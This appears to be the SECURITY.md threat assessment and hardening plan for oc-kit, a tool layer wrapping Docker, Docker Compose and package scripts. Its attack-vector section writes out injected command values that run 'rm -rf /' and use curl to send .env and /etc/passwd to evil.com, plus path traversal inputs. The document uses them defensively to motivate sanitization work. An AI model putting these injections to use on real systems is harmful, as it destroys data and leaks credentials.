Skip to content

Security: autotelic/oc-kit

Security

SECURITY.md

Security Analysis and Hardening Plan

Current Security Assessment

⚠️ High-Risk Vulnerabilities Identified

1. Unrestricted Command Execution

  • Location: src/execution.ts:19 - Bun.spawn() executes arbitrary commands
  • Risk: All tools use executeCommand() which can run any shell command
  • Impact: Code injection, privilege escalation, system compromise

2. Docker Container Escape Vectors

  • Location: src/docker-tools.ts:60-67 - docker exec with arbitrary commands
  • Risk: Interactive shell access to containers with minimal validation
  • Impact: Container escape, lateral movement, data exfiltration

3. Docker Compose Service Manipulation

  • Location: src/compose-tools.ts:58-76 - Compose exec allows arbitrary commands
  • Risk: Service takeover through command injection
  • Impact: Production service compromise

4. Package.json Script Execution

  • Location: src/package-tools.ts:34 - Executes any script from package.json
  • Risk: Malicious scripts in compromised dependencies
  • Impact: Supply chain attacks, credential theft

5. Automatic Doppler Integration

  • Location: src/doppler.ts:155 - Auto-wraps commands with sensitive env vars
  • Risk: Credential exposure in command logs/output
  • Impact: Secret leakage, unauthorized access

🔍 Specific Attack Vectors

Command Injection Examples

# Docker exec with malicious arguments
kit_docker { action: "exec", container: "app", args: ["; rm -rf /", "&&", "curl", "evil.com"] }

# Package script with injection
kit { script: "build; curl -X POST evil.com --data-binary @.env" }

# Docker build with malicious tag
kit_docker { action: "build", tag: "app; curl evil.com/exfiltrate --data-binary @/etc/passwd" }

Path Traversal Risks

# Compose file manipulation
kit_compose { action: "up", file: "../../../etc/passwd" }

# Working directory escape
kit { script: "test", cwd: "/etc" }

Resource Exhaustion

# No memory/CPU limits on spawned processes
# No concurrent execution limits
# Timeout bypassing through nested commands

🛡️ Security Hardening Implementation Plan

Phase 1: Immediate Critical Fixes (High Priority)

1.1 Command Argument Sanitization

  • File: src/security-validation.ts (new)
  • Purpose: Input sanitization and validation
  • Implementation:
    • Whitelist allowed characters in arguments
    • Block shell metacharacters (;, &&, ||, |, >, <, $(), backticks)
    • Validate file paths against directory traversal
    • Size limits on arguments (prevent buffer overflow)

1.2 Dangerous Operation Guardrails

  • File: src/security-guardrails.ts (new)
  • Purpose: Block/restrict high-risk operations
  • Implementation:
    • Blacklist dangerous Docker commands: --privileged, --security-opt, volume mounts to sensitive paths
    • Require confirmation for destructive operations: rm, down, stop
    • Read-only mode enforcement for non-trusted contexts
    • Resource limits: memory, CPU, execution time

1.3 Docker Security Enhancements

  • File: src/docker-security.ts (new)
  • Purpose: Docker-specific security measures
  • Implementation:
    • Container capability restrictions
    • Network isolation validation
    • Volume mount path validation (no sensitive system paths)
    • User namespace checks

Phase 2: Enhanced Security Controls (Medium Priority)

2.1 Permission Model

  • File: src/permissions.ts (new)
  • Purpose: Role-based access control
  • Implementation:
    • Context-based permissions (dev vs prod)
    • Operation categorization (read/write/admin)
    • User consent for privileged operations

2.2 Audit Logging

  • File: src/audit-logger.ts (new)
  • Purpose: Security event tracking
  • Implementation:
    • Command execution logging
    • Failed operation tracking
    • Security violation alerts

2.3 Environment Isolation

  • File: src/environment-security.ts (new)
  • Purpose: Environment variable protection
  • Implementation:
    • Doppler secret masking in logs
    • Environment variable filtering
    • Secure credential handling

Phase 3: Advanced Security Features (Lower Priority)

3.1 Sandboxing

  • Container-based isolation for command execution
  • chroot/jail for file system operations
  • Network namespace isolation

3.2 Static Analysis Integration

  • Command pattern analysis
  • Vulnerability scanning for Docker images
  • Package.json dependency security checks

🔥 Immediate Action Items

Critical Security Holes to Fix First:

  1. Docker exec command injection - src/docker-tools.ts:60-67
  2. Compose exec command injection - src/compose-tools.ts:68-73
  3. Package script arbitrary execution - src/package-tools.ts:34
  4. Unvalidated file path handling - All tools using args.cwd
  5. Doppler credential exposure - src/doppler.ts:155

Quick Wins (Can implement immediately):

  1. Add argument length limits
  2. Block shell metacharacters in user inputs
  3. Validate file paths for directory traversal
  4. Add destructive operation warnings
  5. Implement basic logging for security events

📊 Risk Assessment Matrix

Vulnerability Likelihood Impact Risk Level Priority
Command Injection High Critical CRITICAL P0
Container Escape Medium Critical HIGH P0
Path Traversal High High HIGH P0
Credential Exposure Medium High HIGH P1
Resource Exhaustion High Medium MEDIUM P1
Supply Chain Attack Low Critical MEDIUM P2

🎯 Success Criteria

Phase 1 Complete When:

  • All user inputs are sanitized
  • Dangerous operations require confirmation
  • Docker operations have capability restrictions
  • Path traversal attacks are blocked
  • Security test suite passes (100+ tests)

Full Security Hardening Complete When:

  • Comprehensive permission model implemented
  • All operations logged and auditable
  • Sandboxing prevents system compromise
  • Static analysis catches malicious patterns
  • Security documentation complete for users

📋 Next Steps

  1. Start with input sanitization - Foundation for all other security
  2. Implement Docker security controls - Highest risk area
  3. Add comprehensive testing - Validate security measures work
  4. Create security documentation - Guide users on safe usage
  5. Plan gradual rollout - Avoid breaking existing workflows

This document should be updated as security measures are implemented and new threats are identified.

There aren’t any published security advisories